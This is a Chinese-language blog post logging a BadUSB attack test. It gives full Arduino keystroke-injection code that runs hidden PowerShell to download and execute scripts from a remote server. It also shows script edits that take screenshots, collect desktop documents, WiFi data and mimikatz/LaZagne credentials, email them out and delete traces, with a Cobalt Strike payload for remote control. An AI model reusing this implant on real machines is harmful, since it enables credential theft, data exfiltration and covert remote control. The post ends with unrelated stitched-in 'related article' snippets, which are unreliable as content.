0、前言

最近在做个课题是对BADUSB的测试和研究,正好可以结合Cobalt Strike、结合其他功能代码做个联合测试。所以斥巨资花了50多块钱买了USB开发板。
在正文开始之前,先炫耀一下自己的测试装备。

1.机械键盘
买了个键线分离,支持三模的机械键盘,虽然手感稍差,但是好在支持蓝牙、支持热插拔、支持充电电池的内卷键盘。
支持蓝牙的好处是可以连接手机远程登录VPS。
同时支持3个设备配对,笔记本和手机之间无缝切换,程序猿的快乐就是这么简单那。
然后花了几十块钱买了个茶轴和白色键帽,也就是说有2套轴,2套帽,搭配着用。
2.显示器
同事做测试的显示器,这个没有花钱,临时借用。因为是很老的显示器,最高分辨率只到1600*900,凑合用吧。
至少支持kali虚拟机扩展到显示器,相当于2台主机。

1、准备工作

关于BadUSB的原理、介绍、危害、防范详情请查看网上文档。这里直接来干货。
a。首先需要一个开发板,网店上有好多售卖的。
我买了2个,一个是Arduino Micro,一个是Digispark。
b。软件:Arduino
建议从官方下载,如果是Arduino开发板的话,官方下载的安装版本自带驱动,不需要另外安装。我没有使用绿色免安装版。
c。准备一台VPS,如果没有条件可以使用本地局域网环境。
d。下载BadUSB脚本,github上有一个不错的。
https://github.com/Xyntax/BadUSB-code

2、测试过程

2.1 制作BADUSB

a。将BADUSB插入笔记本,打开Arduino,复制代码到编辑区域。

#include <Keyboard.h>
void setup(){//初始化
Keyboard.begin();//开始键盘通讯
delay(6000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(300);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/MAIN.PS1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(600);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(200);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(200);
Keyboard.println("CMD");
delay(200);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(200);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString('http://***.***.***.***:9999/payload.ps1') ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.end();//结束键盘通讯
}
void loop() {}

修改星号部分变成自己服务器的IP地址。

点击验证/编译,通过以后再点击上传。
上传成功。

这是2个功能,一个是执行MAIN.PS1,一个是执行payload.ps1。2个可以同时使用,也可以单独使用,自行编辑即可。
第一个是github上的脚本,配套Command.rar,GetPass.rar,GetPass.ps1使用。
将Command.rar,GetPass.rar,GetPass.ps1,main.ps1放置到服务器上,开启web服务,保证客户端可以访问到。
第二个是自己用CS生成的payload,搭配侦听器使用。先生成侦听器,如下图:

再生成payload,如下图:

将生成的payload.ps1放置到服务器相应目录下。可以直接打开下载地址,测试是否能成功下载。

2.2 脚本准备

main.ps1文件内有个功能是屏幕截图,结果一直是黑屏,本人不太擅长编码,但是依葫芦画瓢改了一下,还是实现了。
原main.ps1
大概位置2993–3005

$displayInfo = Get-WmiObject Win32_DesktopMonitor | Where {$_.Name -eq 'Default Monitor'}| Select ScreenHeight, ScreenWidth $displayWidth = $displayInfo.ScreenWidth $displayHeight = $displayInfo.ScreenHeight [System.Reflection.Assembly]::LoadWithPartialName("System.Drawing")$jpegName = (get-date).ToString('HHmmss')
$image = new-object System.Drawing.Bitmap 1920 ,1080
$imageSize = New-object System.Drawing.Size $displayWidth,$displayHeight
$screen = [System.Drawing.Graphics]::FromImage($image)
$screen.copyfromscreen(0,0,0,0, $imageSize,([System.Drawing.CopyPixelOperation]::SourceCopy))
$image.Save("$jpegSaveDir/$jpegName.jpeg",([system.drawing.imaging.imageformat]::jpeg));

更改后:

Add-Type -AssemblyName System.Windows.Forms
Add-type -AssemblyName System.Drawing$jpegName = (get-date).ToString('HHmmss')
$Screen = [System.Windows.Forms.SystemInformation]::VirtualScreen
$Width = $Screen.Width
$Height = $Screen.Height
$Left = $Screen.Left
$Top = $Screen.Top
$bitmap = New-Object System.Drawing.Bitmap $Width, $Height
$graphic = [System.Drawing.Graphics]::FromImage($bitmap)
$graphic.CopyFromScreen($Left, $Top, 0, 0, $bitmap.Size)
$bitmap.Save("$jpegSaveDir/$jpegName.jpeg");

同时收集桌面office文件和系统信息打包到压缩文件Report.ZIP,并发送到邮箱,这里需要设置邮件发送设置。
大概在3000行附近:

$SMTPServer = 'smtp.163.com'$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 25)$SMTPInfo.EnableSsl = $false$SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('***@163.com', '*********');$ReportEmail = New-Object System.Net.Mail.MailMessage$ReportEmail.From = '***@163.com'$ReportEmail.To.Add('***@163.com')$ReportEmail.Subject = 'Report'$ReportEmail.Body = 'Report'

原作者说不支持163邮箱,我测试以后发现是支持的。主要是否SSL加密,端口号,邮箱服务器地址,邮箱地址要填写正确。
重要的是密码部分,需要在邮箱申请,并不是真正的登录密码,而是申请时生成的一个字符串。

同时还要修改2854左右行。

IEX (New-Object Net.WebClient).DownloadString('http://www.xxx.xxx/GetPass.ps1');

修改IP地址,这一步是执行GetPass.ps1。
这个文件内容也需要修改:

(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/GetPass.rar','D:\Get.exe');(new-object System.Net.WebClient).DownloadFile('http://www.xxx.xxx/Command.rar','D:\Command.bat');D:\Command.bat;
$SMTPServer = 'smtp.qq.com'$SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)$SMTPInfo.EnableSsl = $true $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('xxxxx@qq.com', 'olawgxxxxxxx');$ReportEmail = New-Object System.Net.Mail.MailMessage$ReportEmail.From = 'xxxxx@qq.com'$ReportEmail.To.Add('xxxxx@qq.com')$ReportEmail.Subject = 'GetPass'$ReportEmail.Body = 'GetPass_text'  $ReportEmail.Attachments.Add('D:\GetPass.txt')
$SMTPInfo.Timeout = 1000000
$SMTPInfo.Send($ReportEmail)
$ReportEmail.Attachments.Dispose()remove-item 'D:\GetPass.txt'remove-item 'D:\Get.exe'

同样要修改邮箱发送设置和下载文件路径设置。

2.3 效果


插入U盘,会有个cmd窗口弹出,时间很短就会关闭。

2.4 避坑指南

我的服务器是某云VPS服务器,操作系统Ubuntu 20.04,模拟键盘输入的时候为避免输入法,切换到大写,Linux系统区分大小写,可能找不到文件。所以建议放置MANI.PS1,main.ps1大小写文件各一份,内容一样。
main.ps1文件还有个作用是收集桌面txt,doc,docx,xls,xlsx,所以建议在靶机上放置几个样本文件,没有样本不行,估计脚本里没有考虑没有文件的判断条件。
靶机要有D盘,因为过程中要在D盘下载临时文件。
使用administrator用户登录系统,插入U盘。
我测试管理员组其他用户可以远控,可以收到邮件,但邮件内没有内容。
因为一些临时文件放到c:\windows目录下。

3、测试结果

1、发送的邮件


会受到2封邮件,下载到本地。

获取桌面文件在Doc目录,Duck文件夹收集靶机wifi信息,Screenshots是屏幕截图,ComputerInfo是系统信息,DumpPass是mimikatz收集的用户及用户凭证。

上图是屏幕截图,在修改main.ps1前是全黑屏。

另外一封邮件是GetPass.txt,实际上是LaZagne收集的信息,LaZagne支持的密码收集:

等等。

2、远控

常规的CS远控,下一步可以测试payload.ps1免杀,main.ps1免杀。

4、总结

下班了,回头总结。

曾经很火的BADUSB测试记录相关推荐

  1. 计算在一起的天数html,记录情侣在一起天数的软件 很火的情侣天数记录软件

    记录情侣在一起的天数是非常有意义,而且市面上有很多为情侣设计的APP,接下来我们就来看看记录情侣在一起天数的软件以及很火的情侣天数记录软件. 一.记录情侣在一起天数的软件 很火的情侣天数记录软件 1. ...

  2. 年龄测试计算器软件,抖音很火的年龄计算器

    抖音很火的年龄计算器是一款非常受大家欢迎的应用,相信很多的小伙伴们都已经在网上看到了,几乎到了上热搜的位置,为啥这么火呢,其实小编觉得可能是因为现在大批量的90后们已经在开始感叹时间的飞速流逝了,所以 ...

  3. 电视剧《大秦赋》最近很火!于是我用Python抓取了“相关数据”,发现了这些秘密............

    前言 最近,最火的电视剧莫过于<大秦赋了>,自12月1日开播后,收获了不错的口碑.然而随着电视剧的跟新,该剧在网上引起了激烈的讨论,不仅口碑急剧下滑,颇有高开低走的趋势,同时该剧的评分也由 ...

  4. python找工作难吗-Python虽然很火,为啥找工作这么难?

    原标题:Python虽然很火,为啥找工作这么难? 前几天看到某论坛有人提了这么个问题,Python这么火,为啥找工作这么难呢? 这两年因为第三波人工智能热潮让 Python火了一把,让中小学生.非程序 ...

  5. android 结束if循环_几款Android反编译器对循环结构的还原能力测试记录

    本帖最后由 gjden 于 2019-6-26 14:35 编辑 几款Android反编译器对循环结构的还原能力测试记录 0.motivation 喜欢jadx的人会常常吐槽JEB反编译器:卖的这么贵 ...

  6. 很火的Fastapi框架,用async函数真的比普通函数快吗?

    python的新款异步框架FASTAPI https://fastapi.tiangolo.com/ 是一款最近很火的框架. 我过去使用了Flask很多年,当一使用上fastapi,就喜欢上它了. 今 ...

  7. android 字符画,抖音上很火的字符画 Android 实现 | 视频转换实现

    作者:Line_cut_feng 链接:https://www.jianshu.com/p/a14f1ac558e1 之前我推送过抖音上很火的字符画 Android 实现,当时文末:按说拿到ascii ...

  8. 生日祝福卡片 html,抖音上很火的生日祝福语大全 过生日暖心写给女生祝福内容...

    愿你三冬暖,愿你春不寒.愿你天黑有灯,下雨有伞.愿你路上有良人伴,来看看抖音上很火的生日祝福语大全. 抖音上很火的生日祝福语大全 1.愿如梁上燕,岁岁常相见.生日快乐! 2.在你永远与春天接壤的梦幻里 ...

  9. 开心网很火了 我给大家一个开心网注册的地址

    开心网很火了 我给大家一个开心网注册的地址 很好玩的哦,可以不用长时间在线,和朋友一起玩游戏 <script type=text/javascript> </script> & ...

最新文章

  1. springMVC获取file,几种转换
  2. bzoj1402 Ticket to Ride 斯坦纳树 + 状压dp
  3. 免安装版 mysql-5.6.29-winx64 下载,配置
  4. 对信号集操作函数的使用方法和顺序
  5. 计数排序的应用----排序字符串
  6. Python 爬虫性能相关总结
  7. SQL Server中的递归CTE和外键引用
  8. IIS 7中ISAPI筛选器配置
  9. 给出年、月、日,计算该日是该年的第几天
  10. SP1812 LCS2 - Longest Common Substring II
  11. 四年级计算机教学实录,四年级信息技术《媒体播放器》教学设计
  12. mike21 matlab tools,Mike post process with Matlab toolbox
  13. 神经网络训练ai玩游戏,人工神经网络入门
  14. 主流编程语言的特点以及优缺点(一)
  15. 嵌入式课程 之 超声波传感器实验
  16. uniapp 公众号微信支付提示 调用支付jsapi缺少参数appid
  17. android代码实现删除,Android中RecyclerView实现Item添加和删除的代码示例
  18. 一只小白,在学习delphi.感觉很吃力。。
  19. layui实现报表数据
  20. Dubbox框架使用手册

热门文章

  1. org.tigris.subversion.javahl.ClientException: Attempted to lock an already-locked dir svn: Working c
  2. springboot的坑,如何解决
  3. FPGA中奇偶校验位产生器
  4. top(topas),vmstat,iostat在linux和AIX操作系统下显示情况
  5. 250行代码基于C + EasyX实现感人的表白小程序,画出美丽的爱心雨!
  6. 写给迷茫中自己——一个程序员的自我总结
  7. 用matplotlib复现一幅看到的图
  8. 到底什么是代码重构?
  9. MediaPlayer状态图及生命周期
  10. StarUML 3 中文文档 状态图